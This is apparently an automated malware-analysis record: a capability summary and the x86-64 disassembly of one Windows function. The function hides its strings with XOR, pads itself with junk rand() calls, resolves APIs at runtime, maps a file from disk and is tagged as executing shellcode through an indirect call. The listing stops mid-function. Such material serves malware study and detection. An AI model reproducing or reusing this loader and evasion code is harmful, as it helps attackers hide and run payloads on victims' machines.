Function at 0x1400021f0
Capabilities:
Allocate or change rwx memory
Check http status code
Encode data using xor
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x6e8
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x650], xmm6
call fcn.140003e00
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x48
je 0x140002220
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x58
je 0x140002240
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or esi, esi
mov r15d, 0x31
mov edi, 0xc3
mov ecx, 0xc3
cmove ecx, r15d
movd xmm0, ecx
xor cl, 0xa8
mov byte [rax], cl
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c110]
movdqa xmmword [rbp + 0x510], xmm0
movzx ecx, byte [rbp + 0x512]
movzx edx, byte [rbp + 0x513]
mov byte [rax + 1], cl
movq qword [rax + 2], xmm0
mov byte [rax + 0xa], dl
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
mov rbx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
push rax
nop
pop rcx
call rbx
mov r14, rax
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xc
call sub.msvcrt.dll_malloc
or esi, esi
cmove edi, r15d
mov ecx, edi
xor cl, 0xb4
mov byte [rax], cl
mov ecx, edi
xor cl, 0xaa
mov byte [rax + 1], cl
movd xmm0, edi
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c120]
mov byte [rax + 3], cl
movdqa xmmword [rbp + 0x440], xmm0
movzx ecx, byte [rbp + 0x440]
mov byte [rax + 2], cl
movd dword [rax + 4], xmm0
mov ecx, edi
xor cl, 0xa7
mov byte [rax + 8], cl
xor dil, 0xaf
mov byte [rax + 9], dil
mov byte [rax + 0xa], dil
mov byte [rax + 0xb], 0
push rax
pop rcx
nop
call rbx
push rax
nop
pop rbx
nop word [rax + rax]
call sub.msvcrt.dll_rand
or eax, eax
je 0x140002340
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x17
je 0x140002370
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x13
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xc3
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c130]
movq qword [rax], xmm0
movdqa xmmword [rbp + 0x520], xmm0
movzx edx, byte [rbp + 0x521]
movzx r8d, byte [rbp + 0x527]
mov byte [rax + 8], dl
mov r9d, ecx
xor r9b, 0x85
mov byte [rax + 9], r9b
mov r9d, ecx
xor r9b, 0xaa
mov byte [rax + 0xa], r9b
mov byte [rax + 0xb], r8b
mov byte [rax + 0xc], dl
mov r8d, ecx
xor r8b, 0x8d
mov byte [rax + 0xd], r8b
mov r8d, ecx
xor r8b, 0xa2
mov byte [rax + 0xe], r8b
mov r8d, ecx
xor r8b, 0xae
mov byte [rax + 0xf], r8b
mov byte [rax + 0x10], dl
xor cl, 0x82
mov byte [rax + 0x11], cl
mov byte [rax + 0x12], 0
mov rcx, r14
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x75
je 0x140002440
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xc3
cmove edx, ecx
mov ecx, edx
xor cl, 0x84
mov byte [rax], cl
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c140]
movdqa xmmword [rbp + 0x530], xmm0
movzx ecx, byte [rbp + 0x531]
movzx r8d, byte [rbp + 0x536]
mov byte [rax + 1], cl
mov byte [rax + 2], r8b
movq qword [rax + 3], xmm0
xor dl, 0x82
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
mov rcx, r14
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
call sub.msvcrt.dll_rand
cmp eax, 0xdf
je 0x1400024d0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x25
je 0x1400024e0
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xa
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xc3
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c150]
movq qword [rax], xmm0
xor dl, 0x82
mov byte [rax + 8], dl
mov byte [rax + 9], 0
mov rcx, r14
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x31
je 0x140002550
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x52
je 0x140002560
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xa4
je 0x140002570
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xc3
cmove ecx, edx
lea edx, [rcx - 0x80]
mov byte [rax], dl
mov edx, ecx
xor dl, 0xb1
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c160]
mov byte [rax + 1], dl
movdqa xmmword [rbp + 0x450], xmm0
movzx r8d, byte [rbp + 0x452]
mov byte [rax + 2], r8b
movd dword [rax + 3], xmm0
mov byte [rax + 7], dl
mov edx, ecx
xor dl, 0xac
mov byte [rax + 8], dl
mov edx, ecx
xor dl, 0xa0
mov byte [rax + 9], dl
mov byte [rax + 0xa], r8b
mov edx, ecx
xor dl, 0xb0
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], dl
xor cl, 0x82
mov byte [rax + 0xd], cl
mov byte [rax + 0xe], 0
mov rcx, r14
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x5a8], rax
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x98
je 0x140002640
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
or eax, eax
je 0x140002660
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x14
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xc3
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c170]
pxor xmm1, xmm0
movq qword [rax], xmm1
movdqa xmmword [rbp + 0x540], xmm1
movzx edx, byte [rbp + 0x542]
movzx r8d, byte [rbp + 0x543]
mov byte [rax + 8], dl
pxor xmm0, xmmword [0x14000c180]
movd dword [rax + 9], xmm0
mov edx, ecx
xor dl, 0x8c
mov byte [rax + 0xd], dl
mov edx, ecx
xor dl, 0xa1
mov byte [rax + 0xe], dl
mov edx, ecx
xor dl, 0xa9
mov byte [rax + 0xf], dl
movdqa xmmword [rbp + 0x460], xmm0
movzx edx, byte [rbp + 0x463]
mov byte [rax + 0x10], dl
xor cl, 0xa0
mov byte [rax + 0x11], cl
mov byte [rax + 0x12], r8b
mov byte [rax + 0x13], 0
mov rcx, r14
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
call sub.msvcrt.dll_rand
cmp eax, 0xe2
je 0x140002730
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x8c
je 0x140002740
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xa7
je 0x140002750
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xc
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xc3
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c190]
movq qword [rax], xmm0
xor dl, 0xa7
mov byte [rax + 8], dl
movdqa xmmword [rbp + 0x550], xmm0
movzx ecx, byte [rbp + 0x551]
movzx edx, byte [rbp + 0x554]
mov byte [rax + 9], cl
mov byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
mov rcx, r14
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xad
je 0x1400027f0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xc3
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1a0]
movq qword [rax], xmm0
movdqa xmmword [rbp + 0x560], xmm0
movzx ecx, byte [rbp + 0x562]
movzx r8d, byte [rbp + 0x563]
mov byte [rax + 8], cl
mov ecx, edx
xor cl, 0xac
mov byte [rax + 9], cl
mov byte [rax + 0xa], r8b
mov ecx, edx
xor cl, 0xa6
mov byte [rax + 0xb], cl
xor dl, 0xa0
mov byte [rax + 0xc], dl
mov byte [rax + 0xd], r8b
mov byte [rax + 0xe], 0
mov rcx, r14
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x5b0], rax
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x59
je 0x1400028a0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x11
call sub.msvcrt.dll_malloc
or esi, esi
mov r15d, 0x31
mov ecx, 0xc3
cmove ecx, r15d
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1b0]
mov r12d, 0xc3
movq qword [rax], xmm0
mov edx, ecx
xor dl, 0x85
mov byte [rax + 8], dl
mov edx, ecx
xor dl, 0xac
mov byte [rax + 9], dl
mov edx, ecx
xor dl, 0xb1
mov byte [rax + 0xa], dl
movdqa xmmword [rbp + 0x610], xmm0
movzx edx, byte [rbp + 0x613]
movzx r8d, byte [rbp + 0x615]
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], r8b
movzx edx, byte [rbp + 0x616]
mov byte [rax + 0xd], dl
mov edx, ecx
xor dl, 0xb0
mov byte [rax + 0xe], dl
xor cl, 0x82
mov byte [rax + 0xf], cl
mov byte [rax + 0x10], 0
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, r14
push rax
nop
pop rdx
call rdi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or esi, esi
cmove r12d, r15d
movd xmm0, r12d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c1c0]
pxor xmm1, xmm0
movq qword [rax], xmm1
movdqa xmmword [rbp + 0x470], xmm1
movzx ecx, byte [rbp + 0x476]
mov byte [rax + 8], cl
mov byte [rax + 9], cl
pxor xmm0, xmmword [0x14000c1d0]
movd dword [rax + 0xa], xmm0
mov byte [rax + 0xe], 0
mov rcx, r14
push rax
nop
pop rdx
call rdi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x35
je 0x140002a00
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x13
call sub.msvcrt.dll_malloc
or esi, esi
mov r12d, 0x31
mov r15d, 0xc3
mov ecx, 0xc3
cmove ecx, r12d
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1e0]
movd dword [rax], xmm0
mov edx, ecx
xor dl, 0xa6
mov byte [rax + 4], dl
mov r8d, ecx
xor r8b, 0x93
mov byte [rax + 5], r8b
movdqa xmmword [rbp + 0x490], xmm0
movzx r8d, byte [rbp + 0x491]
mov byte [rax + 6], r8b
mov r9d, ecx
xor r9b, 0xac
mov byte [rax + 7], r9b
mov r10d, ecx
xor r10b, 0xa0
mov byte [rax + 8], r10b
mov byte [rax + 9], dl
mov r10d, ecx
xor r10b, 0xb0
mov byte [rax + 0xa], r10b
mov byte [rax + 0xb], r10b
mov r10d, ecx
xor r10b, 0x8e
mov byte [rax + 0xc], r10b
mov byte [rax + 0xd], dl
mov edx, ecx
xor dl, 0xae
mov byte [rax + 0xe], dl
mov byte [rax + 0xf], r9b
mov byte [rax + 0x10], r8b
xor cl, 0xba
mov byte [rax + 0x11], cl
mov byte [rax + 0x12], 0
mov rcx, r14
push rax
nop
pop rdx
call rdi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or esi, esi
cmove r15d, r12d
mov ecx, r15d
xor cl, 0x92
mov byte [rax], cl
mov ecx, r15d
xor cl, 0xb6
mov byte [rax + 1], cl
mov byte [rax + 3], cl
movd xmm0, r15d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1f0]
movdqa xmmword [rbp + 0x480], xmm0
movzx ecx, byte [rbp + 0x482]
mov byte [rax + 2], cl
mov byte [rax + 4], cl
movd dword [rax + 5], xmm0
mov ecx, r15d
xor cl, 0x82
mov byte [rax + 9], cl
mov ecx, r15d
xor cl, 0x93
mov byte [rax + 0xa], cl
lea ecx, [r15 - 0x80]
mov byte [rax + 0xb], cl
mov byte [rax + 0xc], 0
mov rcx, r14
push rax
pop rdx
nop
call rdi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x20
je 0x140002b90
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xe
je 0x140002bc0
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or esi, esi
mov r12d, 0x31
mov ecx, 0xc3
cmove ecx, r12d
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c200]
mov r15d, 0xc3
movd dword [rax], xmm0
mov edx, ecx
xor dl, 0xae
mov byte [rax + 4], dl
movdqa xmmword [rbp + 0x4a0], xmm0
movzx edx, byte [rbp + 0x4a1]
mov byte [rax + 5], dl
mov r8d, ecx
xor r8b, 0x97
mov byte [rax + 6], r8b
mov r8d, ecx
xor r8b, 0xab
mov byte [rax + 7], r8b
mov r8d, ecx
xor r8b, 0xb1
mov byte [rax + 8], r8b
mov byte [rax + 9], dl
mov edx, ecx
xor dl, 0xa2
mov byte [rax + 0xa], dl
xor cl, 0xa7
mov byte [rax + 0xb], cl
mov byte [rax + 0xc], 0
mov rcx, r14
push rax
nop
pop rdx
call rdi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xe
call sub.msvcrt.dll_malloc
or esi, esi
cmove r15d, r12d
mov ecx, r15d
xor cl, 0x8a
mov byte [rax], cl
mov ecx, r15d
xor cl, 0xad
mov byte [rax + 1], cl
mov edx, r15d
xor dl, 0xb7
mov byte [rax + 2], dl
mov r8d, r15d
xor r8b, 0xa6
mov byte [rax + 3], r8b
mov r9d, r15d
xor r9b, 0xb1
mov byte [rax + 4], r9b
mov byte [rax + 5], cl
mov byte [rax + 6], r8b
mov byte [rax + 7], dl
mov edx, r15d
xor dl, 0x8c
mov byte [rax + 8], dl
mov edx, r15d
xor dl, 0xb3
mov byte [rax + 9], dl
mov byte [rax + 0xa], r8b
mov byte [rax + 0xb], cl
xor r15b, 0x82
mov byte [rax + 0xc], r15b
mov byte [rax + 0xd], 0
nop
push rbx
pop rcx
nop
push rax
pop rdx
call rdi
mov qword [rbp + 0x5c8], rax
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc8
je 0x140002d40
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x11
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xc3
cmove ecx, edx
mov edx, ecx
xor dl, 0x8a
mov byte [rax], dl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c210]
movdqa xmmword [rbp + 0x4b0], xmm0
movzx edx, word [rbp + 0x4b3]
rol dx, 8
pxor xmm1, xmm1
movdqa xmm2, xmm0
punpcklbw xmm2, xmm1
pshuflw xmm1, xmm2, 0xec
pshufhw xmm1, xmm1, 0xe8
pshufd xmm1, xmm1, 0xe8
pshuflw xmm1, xmm1, 0xd2
packuswb xmm1, xmm1
movd dword [rax + 1], xmm1
mov word [rax + 5], dx
movq qword [rax + 7], xmm0
xor cl, 0x82
mov byte [rax + 0xf], cl
mov byte [rax + 0x10], 0
push rbx
nop
pop rcx
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x5c0], rax
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 8
je 0x140002e00
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x89
je 0x140002e20
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd6
je 0x140002e30
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x9c
je 0x140002e50
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x11
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xc3
cmove edx, ecx
mov ecx, edx
mov r8d, edx
movd xmm0, edx
xor dl, 0x8a
mov byte [rax], dl
xor cl, 0xad
mov byte [rax + 1], cl
xor r8b, 0xb1
mov byte [rax + 4], r8b
mov byte [rax + 5], cl
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c220]
movdqa xmmword [rbp + 0x570], xmm0
movzx ecx, byte [rbp + 0x570]
movzx edx, byte [rbp + 0x572]
mov byte [rax + 2], cl
mov byte [rax + 3], dl
mov byte [rax + 6], dl
movq qword [rax + 7], xmm0
mov byte [rax + 0xf], dl
mov byte [rax + 0x10], 0
nop
push rbx
pop rcx
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
push rax
pop rbx
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x55
je 0x140002ef0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd7
je 0x140002f20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push rax
pop rdi
nop
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], 0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xc3
cmove edx, ecx
movd xmm0, edx
mov ecx, edx
xor cl, 0xa8
mov byte [rax], cl
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c110]
movdqa xmmword [rbp + 0x580], xmm0
movzx ecx, byte [rbp + 0x582]
movzx edx, byte [rbp + 0x583]
mov byte [rax + 1], cl
movq qword [rax + 2], xmm0
mov byte [rax + 0xa], dl
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
nop
push rax
pop rcx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push rax
pop rsi
nop
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x92
je 0x140002fd0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x65
je 0x140002fe0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x1b
je 0x140002ff0
lea r8, [rbp + 0x4f0]
mov qword [rbp + 0x5d0], rdi
push rdi
pop rcx
nop
push rsi
nop
pop rdx
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x18
je 0x140003040
mov qword [rbp + 0x5d8], rsi
mov rdi, qword [rbp + 0x4f0]
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x55
je 0x140003060
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x24
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xc3
cmove ecx, edx
mov edx, ecx
xor dl, 0xa0
mov byte [rax], dl
mov edx, ecx
xor dl, 0xf9
mov byte [rax + 1], dl
mov r9d, ecx
xor r9b, 0xb4
mov byte [rax + 4], r9b
mov edx, ecx
xor dl, 0xaa
mov byte [rax + 5], dl
mov r8d, ecx
xor r8b, 0xad
mov byte [rax + 6], r8b
mov edx, ecx
xor dl, 0xa7
mov byte [rax + 7], dl
mov r10d, ecx
xor r10b, 0xac
mov byte [rax + 8], r10b
mov byte [rax + 9], r9b
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c230]
movdqa xmmword [rbp + 0x620], xmm0
movzx r9d, byte [rbp + 0x627]
mov byte [rax + 2], r9b
mov byte [rax + 3], r9b
pxor xmm1, xmm1
movdqa xmm2, xmm0
punpcklbw xmm2, xmm1
pshufd xmm1, xmm2, 0xec
pshuflw xmm1, xmm1, 0x7d
packuswb xmm1, xmm1
movd dword [rax + 0xa], xmm1
movq qword [rax + 0xe], xmm0
mov byte [rax + 0x16], r9b
mov r9d, ecx
xor r9b, 0xa8
mov byte [rax + 0x17], r9b
movzx r9d, byte [rbp + 0x623]
mov byte [rax + 0x18], r9b
mov r10d, ecx
xor r10b, 0xb1
mov byte [rax + 0x19], r10b
mov byte [rax + 0x1a], r8b
mov byte [rax + 0x1b], r9b
mov r8d, ecx
xor r8b, 0xaf
mov byte [rax + 0x1c], r8b
movzx r9d, word [rbp + 0x625]
mov word [rax + 0x1d], r9w
xor cl, 0xed
mov byte [rax + 0x1f], cl
mov byte [rax + 0x20], dl
mov byte [rax + 0x21], r8b
mov byte [rax + 0x22], r8b
mov byte [rax + 0x23], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
push rax
pop rcx
nop
mov edx, 0x80000000
mov r8d, 1
sub r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
push rax
nop
pop rsi
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf2
je 0x1400031b0
mov qword [rbp + 0x5b8], rbx
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rbp + 0x5e0], rsi
push rsi
nop
pop rcx
sub edx, edx
mov r8d, 0x1000002
sub r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push rax
pop rsi
nop
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov qword [rsp + 0x20], 0
mov qword [rbp + 0x5e8], rsi
push rsi
nop
pop rcx
mov edx, 4
sub r8d, r8d
sub r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rbp + 0x5a0], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
movsxd rsi, dword [rdi + 0x3c]
add rsi, rdi
nop
call sub.msvcrt.dll_rand
cmp eax, 0x69
je 0x140003280
cmp word [rsi + 6], 0
jne 0x140003730
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x5d0]
call rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0x5e0]
call rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0x5e8]
call rsi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 5
je 0x1400032f0
mov rsi, qword [rbp + 0x5d8]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xed
je 0x140003310
push rsi
nop
pop rcx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbx, qword [rbp + 0x5b8]
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x85
je 0x140003330
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x5a
je 0x140003350
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push rax
pop rcx
nop
call fcn.140001f00
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x2d
je 0x140003370
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push rax
nop
pop rcx
call fcn.140001b80
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x5b
je 0x1400033a0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
push rax
pop rcx
call fcn.1400017e0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x1d
je 0x1400033e0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x88
je 0x1400033f0
call sub.msvcrt.dll_rand
